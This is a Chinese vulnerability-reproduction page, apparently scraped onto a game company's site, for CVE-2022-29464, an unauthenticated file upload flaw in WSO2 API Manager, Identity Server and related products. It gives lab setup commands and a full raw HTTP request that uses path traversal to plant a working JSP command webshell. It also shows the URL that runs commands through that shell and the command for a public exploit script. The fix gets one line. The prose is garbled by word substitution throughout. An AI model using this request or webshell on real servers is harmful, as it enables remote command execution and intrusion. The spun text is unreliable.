瓦力游戏

提交需要
*
*

*
*
*
立即提交
点击”立即提交”,批注我理解并赞成 《瓦力游戏科技隐衷条款》

logo

    产品与服务
    解决规划
    技术支持
    合作发展
    关于瓦力游戏

    申请试用
      CVE-2022-29464 WSO2文件上传缝隙复现
      颁布功夫:2023-01-20 阅读次数: 1495 次
      01

      缝隙简介

      CVE-2022-29464  WSO2文件上传缝隙是Orange Tsai发现的WSO2上的严沉缝隙 。该缝隙允许攻击者未授权上传jsp webshell从而在WSO2服务器上执行肆意号令 。

      02

      缝隙影响版本

      • WSO2 API Manager 2.2.0—4.0.0

      • WSO2 Identity Server 5.2.0—5.11.0

      • WSO2 身份服务器5.4.0、5.4.1、5.5.0 和 5.6.0

      • WSO2 Enterprise Integrator 6.2.0—6.6.0

      • WSO2 身份服务器密钥治理器 5.3.0—5.10.0

      03

      缝隙环境搭建

      可从vulfocus中拉取docker缝隙镜像,如图所示,执行号令


      docker pull vulfocus/wso2-cve_2022_29464

      拉取缝隙镜像

      图片

      缝隙镜像拉取实现后,如图所示,执行号令


      docker run -d -it -p 8280:8280 -p 8243:8243 -p 9443:9443 --name cve_2022_29464 vulfocus/wso2-cve_2022_29464

      运行缝隙docker环境

      图片

      缝隙环境启动实现后,接见

      https://ip:9443

      出现以下页面代表缝隙环境搭建成功

      图片

      04

      缝隙复现

      如图所示,机关如下数据包即可未授权在指标服务器上写入cmd webshell



      POST /fileupload/toolsAny HTTP/1.1Host: 192.168.159.130:9443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=4af6f362a86baadf5ec3177278d4911Cookie: session=0cb2ce62-1f82-4c51-8735-229398731d4f.XC9bRwlYo7x31-PjcBFWrJnuG_w; JSESSIONID=C7832D63E80798858C15459A4267966EUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteContent-Length: 805
      --4af6f362a86baadf5ec3177278d4911Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"
      <%@ page import="java.io.*" %>    <%    String cmd = request.getParameter("cmd");    String output = "";    if(cmd != null) {        String s = null;        try {            Process p = Runtime.getRuntime().exec(cmd,null,null);            BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream()));            while((s = sI.readLine()) != null) { output += s+"</br>"; }        }  catch(IOException e) {   e.printStackTrace();   }    }%>        <pre><%=output %></pre>--4af6f362a86baadf5ec3177278d4911--

      图片

      接见


      https://192.168.159.130:9443/authenticationendpoint/cmd.jsp?cmd=whoami

      机关参数cmd和参数值whoami,即可获得WSO2服务器whoami号令执行了局

      图片

      也可通过缝隙EXP


      https://github.com/hakivvi/CVE-2022-29464

      利用缝隙

      如图所示,将EXP下载后,执行


      python exploit.py https://ip:9443/ shell.jsp

      即可上传jsp cmdshell至WSO2服务器

      图片

      接见


      https://ip:9443//authenticationendpoint/shell.jsp

      即可通过jsp cmdshell执行肆意号令

      图片

      05

      缝隙建复

      将存在缝隙的WSO2利用版本升级至安全版本 。


      瓦力游戏| 首页 -瓦力出品,必属精品 免费试用
      瓦力游戏| 首页 -瓦力出品,必属精品 服务热线
      瓦力游戏| 首页 -瓦力出品,必属精品

      顿时征询

      400-811-3777

      瓦力游戏| 首页 -瓦力出品,必属精品 回到顶部
      【网站地图】